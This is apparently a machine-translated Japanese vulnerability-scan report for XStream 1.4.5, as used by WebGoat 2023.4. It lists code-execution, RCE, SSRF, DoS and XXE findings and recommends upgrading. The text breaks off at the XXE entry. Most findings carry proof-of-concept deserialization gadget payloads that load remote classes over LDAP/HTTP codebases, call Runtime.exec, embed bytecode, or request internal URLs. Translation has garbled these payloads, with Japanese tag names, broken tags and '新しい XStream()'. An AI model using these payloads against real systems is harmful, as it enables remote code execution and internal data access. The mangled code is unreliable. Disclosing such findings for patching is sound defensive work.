このパッケージの影響を受けるバージョンは、任意のコード実行の脆弱性を抱えています。この脆弱性により、リモート攻撃者は処理済みの入力ストリームを操作するだけで、リモートホストから任意のコードをロードして実行できる可能性があります。XStreamのセキュリティフレームワークを、必要最小限の種別に限定したホワイトリストで設定するという推奨事項に従ったユーザーには、この脆弱性は適用されません。XStream 1.4.18では、汎用的なセキュリティ対策としてブラックリストをデフォルトで使用しなくなりました。

**概念実証**

```
<ソートされたセット>
<javax.naming.ldap.Rdn_RdnEntry>
<type>ysomap</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' シリアル化='custom'>
<メッセージクラス='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<smt class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized> <multiPart
class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
<soapPart/>
<mms>
<it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.ldap.LdapSearchEnumeration'>

<リスト引数 class='javax.naming.CompoundName' シリアル化='custom'>
<javax.naming.CompoundName>
<properties/>
<int>1</int>
<string>ysomap</string> <
javax.naming.CompoundName> <
listArg>
<cleaned>false</cleaned>
<res>
<msgId>0</msgId>
<status>0</status> <
res>
<enumCln>
<isLdapv3>false</isLdapv3>
<referenceCount>0</referenceCount>
<pooled>false</pooled>
<authenticateCalled>false</authenticateCalled> </enumCln>
<limit>1</limit>
<posn>0</posn>
<homeCtx>

<__contextType>0</__contextType>
<port_number>1099</port_number>
<hostname>127.0.0.1</hostname> <clnt
reference='../../enumCln'> <handleReferrals>0</
handleReferrals> <hasLdapsScheme>true</
hasLdapsScheme> <netscapeSchemaBug>false</
netscapeSchemaBug> <referralHopLimit>0</referralHopLimit>
<batchSize>0</batchSize> <deleteRDN>false</
deleteRDN> <typesOnly>false</
typesOnly> <derefAliases>0</
derefAliases> <addrEncodingSeparator/>
<connectTimeout>0</connectTimeout>
<readTimeout>0</readTimeout>
<waitForReply>false</waitForReply>
<replyQueueSize>0</replyQueueSize>
<useSsl>false</useSsl>
<useDefaultPortNumber>false</
useDefaultPortNumber>
<parentLdapCtx>false</parentLdapCtx> <hopCount>0</hopCount>
<unsolicited>false</unsolicited> <shareable>false</
shareable> <enumCount>1</
enumCount> <closeRequested>false</
closeRequested> </homeCtx>
<more>true</more>
<hasMoreCalled>true</hasMoreCalled> <startName

class='javax.naming.ldap.LdapName'
serialization='custom'>
<javax.naming.ldap.LdapName>
<default/>
<string>uid=ysomap,ou=oa,dc=example,dc=com</string> <
javax.naming.ldap.LdapName> <
startName>
<searchArgs>
<name class='javax.naming.CompoundName' reference='../../listArg'> <filter>ysomap</filter>

<短所>
<searchScope>1</searchScope>
<timeLimit>0</timeLimit>
<derefLink>false</derefLink>
<returnObj>true</returnObj>
<countLimit>0</countLimit> </cons>
<reqAttrs/>
> </searchArgs>
<entries>

<com.sun.jndi.ldap.LdapEntry>
<DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN> <attributes
class='javax.naming.directory.BasicAttributes' serialization='custom'>
<default>
<ignoreCase>false</ignoreCase> <
default>
<int>4</int>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute> <default>

<ordered>false</ordered>
<attrID>objectClass</attrID>


```

```

</default>
<int>1</int>
<string>javaNamingReference</string> </
javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class="javax.naming.CompositeName" serialization="custom">
<javax.naming.CompositeName>
<int>0</int> </
javax.naming.CompositeName> </
rdn> </
default>
</com.sun.jndi.ldap.Ldap属性>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute> <default>

<ordered>false</ordered>
<attrID>javaCodeBase</attrID> </
default>
<int>1</int>
<string>http://127.0.0.1/</string> </
javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class="javax.naming.CompositeName" serialization="custom">
<javax.naming.CompositeName>
<int>0</int> </
javax.naming.CompositeName> </
rdn> </
default>
</com.sun.jndi.ldap.Ldap属性>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute シリアル化 = 'custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaClassName</attrID> </
default>
<int>1</int>
<string>foo</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class="javax.naming.CompositeName" serialization="custom">
<javax.naming.CompositeName>
<int>0</int> </
javax.naming.CompositeName> </
rdn> </
default>
</com.sun.jndi.ldap.Ldap属性>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute> <default>

<ordered>false</ordered>
<attrID>javaFactory</attrID> </
default>
<int>1</int>
<string>EvilObj</string> </
javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class="javax.naming.CompositeName" serialization="custom">
<javax.naming.CompositeName>
<int>0</int> </
javax.naming.CompositeName> </
rdn> </
default>
</com.sun.jndi.ldap.Ldap属性>
</com.sun.jndi.ldap.LdapAttribute>
<attributes> </
com.sun.jndi.ldap.LdapEntry> </
entries> </
aliases> </lt>
</mm>
</
multiPart> </
sm> </
message> </
value> </
javax.naming.ldap.Rdn_RdnEntry>
<javax.naming.ldap.Rdn_RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>テスト</m__obj> </
value> </
javax.naming.ldap.Rdn_RdnEntry> <sorted-
set>

```

```

XStream xstream = 新しい XStream();
xstream.fromXML(xml);

```

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.18 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)

高重症度

## リモートコード実行 (RCE)

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元: org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンには、リモートコード実行 (RCE) の脆弱性があります。この脆弱性により、十分な権限を持つリモート攻撃者が、処理済みの入力ストリームを操作するだけで、ホスト上でコマンドを実行できる可能性があります。XStreamのセキュリティフレームワークを必要最小限の種別に限定したホワイトリストで設定するという推奨事項に従ったユーザーには、この脆弱性は適用されません。XStream 1.4.18では、一般的な用途ではセキュリティを確保できないため、デフォルトでブラックリストを使用しなくなりました。

### 概念実証

```
<java.util.PriorityQueue serialization='custom'> <unserializable>
  parents/> <java.util.PriorityQueue>
  <default> <size>2</size> </default>
  <int>3</int>
  <dynamic-proxy>

  <interface>java.lang.Comparable</interface> <handler>
    class='sun.tracing.NullProvider'
    <active>true</active>
    <providerType>java.lang.Comparable</providerType> <probes>
      <entry>
        <method>

          <class>java.lang.Comparable</class>
          <name>compareTo</name>
          <parameter-types>
            <class>java.lang.Object</class> </
          parameter-types> </
        method>
        <sun.tracing.dtrace.DTraceProbe>
        <proxy class='java.lang.Runtime' />
        <implementing__method>
          <class>java.lang.Runtime</class>
          <name>exec</name>
          <parameters><parameter>
            <name>cmd</name>
            <type>java.lang.String</type>
          </parameter></parameters>
          <return-type>java.lang.Process</return-type>
        </implementing__method>
        <sun.tracing.dtrace.DTraceProbe>
        <method>
          <name>exec</name>
          <parameters><parameter>
            <name>cmd</name>
            <type>java.lang.String</type>
          </parameter></parameters>
          <return-type>java.lang.Process</return-type>
        </method>
      </entry>
    </probes>
  </interface>
  <java.util.PriorityQueue>

</java.util.PriorityQueue>
```

```
XStream xstream = 新しい XStream();
xstream.fromXML(xml);
```

### 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.18 以上にアップグレードします。

### 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)
- [CISA - 既知の悪用された脆弱性](#)
- [核テンプレート](#)

高重症度

## 任意のコード実行

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元: org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

## 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行うシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、任意のコード実行の脆弱性を抱えています。この脆弱性により、リモート攻撃者は処理済みの入力ストリームを操作するだけで、リモートホストから任意のコードをロードして実行できる可能性があります。XStreamのセキュリティフレームワークを、必要最小限の種別に限定したホワイトリストで設定するという推奨事項に従ったユーザーには、この脆弱性は適用されません。XStream 1.4.18では、汎用的なセキュリティ対策としてブラックリストをデフォルトで使用しなくなりました。

## 概念実証

```
<ソートされたセット>
<javax.naming.ldap.Rdn_RdnEntry>
<type>ysomap</type>
<value class='javax.swing.MultiUIDefaults' serialization='custom'>
<unserializable-parents/></ハッシュ
ユーティリティ>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold></
default>
<int>700</int>
<int>0</int>
</ハッシュユーティリティ>
< javax.swing.UIDefaults > <デ
フォルト> <デ
フォルトロケール>zh_CN</デフォルトロケール>
<resourceCache/>
<デフォルト> </
javax.swing.UIDefaults>
<javax.swing.MultiUIDefaults> <デフォル
ト> <テーブル
>
<javax.swing.UIDefaults serialization='custom'>
<unserializable-parents/></ハッシュ
ユーティリティ>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold></
default>
<int>700</int>
<int>1</int>
<string>ggg</string>
<javax.swing.UIDefaults_-ProxyLazyValue>
<className>javax.naming.InitialContext</className>
<methodName>doLookup</methodName>
<引数>
<arg>ldap://localhost:1099/CallRemoteMethod</arg> </args>
</javax.swing.UIDefaults_-ProxyLazyValue></ハッシュユ
ーティリティ>
<javax.swing.UIDefaults>
<default>
<defaultLocale 参照='./../../../../javax.swing.UIDefaults/default/defaultLocale'/> <resourceCache/> </default> </
javax.swing.UIDefaults>

</javax.swing.UIDefaults> </
tables> </
default> </
javax.swing.MultiUIDefaults> </value> </

javax.naming.ldap.Rdn_RdnEntry>
<javax.naming.ldap.Rdn_RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m_obj class='string'>テスト</m_obj> </value>
</
javax.naming.ldap.Rdn_RdnEntry> </sorted-
set>
```

```
XStream xstream = 新しい XStream();
xstream.fromXML(xml);
```

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.18 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)

[この脆弱性の詳細](#)

高重症度

## 任意のコード実行

- パッケージマネージャー: maven

- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、任意のコード実行の脆弱性を抱えています。この脆弱性により、リモート攻撃者は処理済みの入力ストリームを操作するだけで、リモートホストから任意のコードをロードして実行できる可能性があります。XStreamのセキュリティフレームワークを必要最小限の種別に限定したホワイトリストで設定するという推奨事項に従ったユーザーには、この脆弱性は適用されません。XStream 1.4.18では、汎用的なセキュリティ対策としてブラックリストをデフォルトで使用しなくなりました。

#### 概念実証

```
<linked-hash-set>
  <dynamic-proxy>
    <interface>map</interface>
    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'> <classToInvocationHandler
      class='linked-hash-map' /> <defaultHandler
      class='sun.tracing.NullProvider'> <active>true</active>
      <providerType>java.lang.Object</
      providerType> <probes>

      <エントリ
      ><メソッド
      ><クラス>java.lang.Object</クラス> <名前
      >hashCode</名前> <パラメー
      タ型/> </メソッド>

      <sun.tracing.dtrace.DTraceProbe>
        <プロキシ クラス = 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' シリアル化 = 'カスタム' />
        <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
          <デフォルト
          <__name>Pwner</__name>
          <__バイトコード>
            <バイト配列>yv6vgAAADIAQoAAwAiBwA3BwAlBwAmAQAAQc2VyaWFsVmVyc2lvbIVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluXQ+AQADKCIWAQAEQ29kZQED0xbmVOdW1iZXJUYW </バイト配列
            >yv6vgAAADIAQoAAwAVBwAXBwAYBwAZAQAAQc2VyaWFsVmVyc2lvbIVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluXQ+AQADKCIWAQAEQ29kZQED0xbmVOdW1iZXJUYW
          </__bytecodes>
          <__transletIndex>-1</__transletIndex>
          <__indentNumber>0</__indentNumber> </
          default>
        </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </proxy>

        <implementing__method>
          <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
          <name>getOutputProperties</name>
          <parameter-types/> </
          implementing__method> </
          sun.tracing.dtrace.DTraceProbe> </entry> </
          probes> </

        defaultHandler> </
        handler> </
        dynamic-proxy> </
        linked-hash-set>
```

```
XStream xstream = 新しい XStream();
xstream.fromXML(xml);
```

### 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.18 以上にアップグレードします。

### 参考文献

- [GitHubアドバイザリ](#)
- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)

[この脆弱性の詳細](#)

高重症度

## 任意のコード実行

- パッケージ マネージャー: maven 脆
- 弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、任意のコード実行の脆弱性を抱えています。この脆弱性により、リモート攻撃者は処理済みの入力ストリームを操作するだけで、リモートホストから任意のコードをロードして実行できる可能性があります。XStreamのセキュリティフレームワークを、必要最小限の種別に限定したホワイトリストで設定するという推奨事項に従ったユーザーには、この脆弱性は適用されません。XStream 1.4.18では、汎用的なセキュリティ対策としてブラックリストをデフォルトで使用しなくなりました。

## 概念実証

```
<java.util.PriorityQueue シリアル化='カスタム'><unserializable-
parents/> <java.util.PriorityQueue>
<デフォルト> <サイズ>2</size> </デ-
  フォルト>
<int>3</int>

<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
  <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d コンテンツ: &#x3C;なし&#x3E;</m__obj></value> </

javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' シリアル化='custom'>
  <メッセージクラス='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
    <parsedMessage>true</parsedMessage>
    <soapVersion>SOAP_11</soapVersion>
    <bodyParts/>
    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
      <attachmentsInitialized>false</attachmentsInitialized> <multiPart
        class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
        <soapPart/>
        <mm>
          <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
            <エイリアス クラス='com.sun.jndi.ldap.LdapBindingEnumeration'>
              <homeCtx>
                <hostname>233.233.233.233</hostname>
                <port_number>2333</port_number> <clnt
                  class='com.sun.jndi.ldap.LdapClient'></homeCtx>

                <hasMoreCalled>true</hasMoreCalled>
                <more>true</more>
                <posn></posn>
                <limit>1</limit>
                <entries>
                  <com.sun.jndi.ldap.LdapEntry>
                    <DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
                    <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                      <javax.naming.directory.BasicAttribute> <default>
                        <ignoreCase>false</ignoreCase> </default>
                        <int>4</int>

                      <javax.naming.directory.BasicAttribute のシリアル化='custom'>
                        <javax.naming.directory.BasicAttribute> <default>
                          <ordered>false</ordered>
                            <attrID>objectClass</attrID> </
                            default>
                            <int>1</int>
                            <string>javanamingreference</string> </
                            javax.naming.directory.BasicAttribute>
                          </javax.naming.directory.BasicAttribute>
                          <javax.naming.directory.BasicAttribute serialization='custom'>
                            <javax.naming.directory.BasicAttribute> <default>
                              <ordered>false</ordered>
                                <attrID>javaCodeBase</attrID> </
                                default>
                                <int>1</int>
                                <string>http://127.0.0.1:2333/</string> </
                                javax.naming.directory.BasicAttribute>
                              </javax.naming.directory.BasicAttribute>
                              <javax.naming.directory.BasicAttribute serialization='custom'>
                                <javax.naming.directory.BasicAttribute> <default>
                                  <ordered>false</ordered>
                                    <attrID>javaClassName</attrID> </
                                    default>
                                    <int>1</int>
                                    <string>refClassName</string> </
                                    javax.naming.directory.BasicAttribute>
                                  </javax.naming.directory.BasicAttribute>
                                  <javax.naming.directory.BasicAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute> <default>
                                      <ordered>false</ordered>
                                        <attrID>javaFactory</attrID> </
                                        default>
                                        <int>1</int>
                                        <string>Evil</string>
                                      </javax.naming.directory.BasicAttribute>
                                      </javax.naming.directory.BasicAttribute>
                                      </javax.naming.directory.BasicAttribute>
                                    </attributes> </
                                  com.sun.jndi.ldap.LdapEntry> </entries>
                                </aliases> </
                              it> </mm> </

                            multiPart> </
                            sm> </
                            message> </
                            value> </
                          javax.naming.ldap.Rdn_-RdnEntry> </
                        java.util.PriorityQueue>
```

```
</java.util.PriorityQueue>
```

```
XStream xstream = 新しい XStream();
xstream.fromXML(xml);
```

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.18 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)

[この脆弱性の詳細](#)

高重症度

## 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

## 概要

com.thoughtworks.xstream:xstreamオブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、信頼できないデータのデシリアライゼーションに対して脆弱です。この脆弱性により、リモートの攻撃者は、Javaランタイムバージョン14~8を使用して処理済みの入力ストリームを操作するだけで、公開されていない内部リソースからデータを要求できる可能性があります。XStreamのセキュリティフレームワークを、必要最小限の型に限定したホワイトリストで設定するという推奨事項に従ったユーザーには、この脆弱性は適用されません。

## 概念実証

```
<マップ>
<entry>
<jdk.nashorn.internal.runtime.Source_-URLData> <url>http://
localhost:8080/internal/</url> <cs>GBK</cs> <hash>1111</
hash> <array>b</
array> <length>0</
length>
<lastModified>0</
lastModified> </
jdk.nashorn.internal.runtime.Source_-URLData>
<jdk.nashorn.internal.runtime.Source_-URLData reference='..//jk.nashorn.internal.runtime.Source_-URLData'></entry> <entry>

<jdk.nashorn.internal.runtime.Source_-URLData> <url>http://
localhost:8080/internal/</url> <cs reference='..//..//entry/
jdk.nashorn.internal.runtime.Source_-URLData/cs'> </ハッシュ>1111</ハッシュ> <配列>b</配列> <長さ>0</長さ
> <最終変更日>0</最終
変更日>

</jdk.nashorn.internal.runtime.Source_-URLData>
<jdk.nashorn.internal.runtime.Source_-URLData reference='..//jk.nashorn.internal.runtime.Source_-URLData'></entry> </
map>
```

```
XStream xstream = 新しい XStream();
xstream.fromXML(xml);
```

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.18 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)
- [核テンプレート](#)

[この脆弱性の詳細](#)

高重症度

## サーバーサイドリクエストフォージェリ (SSRF)

- パッケージマネージャー: maven

- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

## 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行うシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、サーバーサイドリクエストフォージェリ (SSRF) の脆弱性を抱えています。この脆弱性により、リモートの攻撃者は、Javaランタイムバージョン14 ~8で処理済みの入力ストリームを操作するだけで、公開されていない内部リソースからデータを要求できる可能性があります。XStreamのセキュリティフレームワークを、必要最小限の種別に限定したホワイトリストで設定するという推奨事項に従ったユーザーには、この脆弱性は適用されません。

### 概念実証

```
<java.util.PriorityQueue serialization='custom'> <unserializable-
parents/> <java.util.PriorityQueue>
<default> <size>2</size> </
default>
<int>3</int>
<dynamic-
proxy>

<interface>java.lang.Comparable</interface> <handler
class='com.sun.xml.internal.ws.client.sei.SEIStub'>
<owner/>
<managedObjectManagerClosed>false</managedObjectManagerClosed> <データバ
インディングクラス='com.sun.xml.internal.ws.db.DatabindingImpl'> <stubHandlers>

<エントリ
> <メソッド
> <クラス>java.lang.Comparable</クラス> <名前
>compareTo</名前> </パラメー
タ型> <クラス
>java.lang.Object</クラス> </パラメータ型>
</メソッド>

<com.sun.xml.internal.ws.client.sei.StubHandler>
<bodyBuilder クラス='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
<インデックス
> <int>0</int> </
インデックス>
<getters>
<com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter> </getters>

<アクセサ>
<com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2> <val_-
isJAXBELEMENT>false</val_-isJAXBELEMENT> <val_-getter クラ
ス='com.sun.xml.internal.ws.spi.db.FieldGetter'>
<type>int</type>
<field>
<name>hash</name>
< clazz>java.lang.String</ clazz> </field> </
val_-
getter> <val_-
isListType>false</val_-isListType> <val_-n>

<namespaceURI/>
<localPart>hash</localPart> <prefix/>
</val_-n>
<val_-setter
class='com.sun.xml.internal.ws.spi.db.MethodSetter'> <type>java.lang.String</type>
<method>

<class>jdk.nashorn.internal.runtime.Source</class> <name>readFully</
name>
<パラメータ型> <クラス
>java.net.URL</クラス> </パラメータ
型> </メソッド> <val_-
setter> <外
部クラス> <プロパテ
イsettters> <エント
リ> <文字列

>serialPersistentFields</文字列>
<com.sun.xml.internal.ws.spi.db.FieldSetter> <型
>[Ljava.io.ObjectStreamField;</type> <フィールド> <名前

>serialPersistentFields</名前>
<clazz>java.lang.String</clazz> </フィール
ド>
</com.sun.xml.internal.ws.spi.db.FieldSetter> </entry>
<entry>

<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>java.util.Comparator</type> <field>

<name>CASE_INSENSITIVE_ORDER</name>
< clazz>java.lang.String</ clazz> </field>

</com.sun.xml.internal.ws.spi.db.FieldSetter> </entry>
<entry>

<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter> <type>long</
type> <field>

<name>serialVersionUID</name>
< clazz>java.lang.String</ clazz> </field>

</com.sun.xml.internal.ws.spi.db.FieldSetter>
```

```

</entry>
<エントリ>
  ><文字列>値</文字列>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
  <type>[C</type>
  <field>
    <name>値</name>
    <clazz>java.lang.String</clazz> </field>
</com.sun.xml.internal.ws.spi.db.FieldSetter> </entry>

<entry>
  <string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter> <type>int</
  type> <field>
  reference='../../../../val_-getter/field'>
</com.sun.xml.internal.ws.spi.db.FieldSetter> </entry> </

propertySetters>
<propertyGetters>
<entry>
  <string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
  <type>[Ljava.io.ObjectStreamField;</type> <field>
  reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'>
</com.sun.xml.internal.ws.spi.db.FieldGetter> </entry>

<entry>
  <string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
  <type>java.util.Comparator</type> <field>
  reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'>
</com.sun.xml.internal.ws.spi.db.FieldGetter> </entry>
</entry>

<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter> <type>long</
  type> <フィールド参照
  ='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'>
</com.sun.xml.internal.ws.spi.db.FieldGetter> </entry>

<エントリ>
  ><文字列>値</文字列>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
  <type>[C</type> </
  イールド参照='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'>
</com.sun.xml.internal.ws.spi.db.FieldGetter> </entry>
</entry>

<string>hash</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'> </entry> </propertyGetters>

<elementLocalNameCollision>false</elementLocalNameCollision>
<contentClass>java.lang.String</contentClass>
<elementDeclaredTypes/> </
outer-class>
</com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2> </accessors>

<wrapper>java.lang.Object</wrapper>
<bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'> <dynamicWrapper>false</
  dynamicWrapper> </bodyBuilder> <isOneWay>false</
  isOneWay>

</com.sun.xml.internal.ws.client.sei.StubHandler> </entry> </

stubHandlers>
<clientConfig>false</clientConfig> </
databinding>
<methodHandlers>
<エントリ>
  ><メソッド参照='../../../../databinding/stubHandlers/entry/method'>
<com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
  <owner reference='../../../../'> <method
  reference='../../../../databinding/stubHandlers/entry/method'> <isVoid>false</isVoid>
  <isOneway>false</isOneway>
  </
<com.sun.xml.internal.ws.client.sei.SyncMethodHandler> </entry> </

methodHandlers> </
handler> </
dynamic-proxy>
<url>http://localhost:8080/internal/</url> </
java.util.PriorityQueue>
</java.util.PriorityQueue>

```

XStream xstream = 新しい XStream();  
xstream.fromXML(xml);

## 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.18 以上にアップグレードします。

## 参考文献

- [XStreamアドバイザリ](#)
- [XStreamの変更履歴](#)

高重症度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行うシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、サービス拒否 (DoS) 攻撃に対して脆弱です。攻撃者は、処理された入力ストリームを操作し、オブジェクトを置き換えたり挿入したりすることで、指數関数的な再帰ハッシュコード計算を実行できます。

### 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰ませようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: [commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws/パッケージ](#)

### 修復

com.thoughtworks.xstream:xstream をバージョン 1.4.19 以上にアップグレードします。

### 参考文献

- [GitHubコミット](#)
- [XStreamアドバイザリ](#)

[この脆弱性の詳細](#)

高重症度

## XML外部エンティティ (XXE)インジェクション

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

### 概要

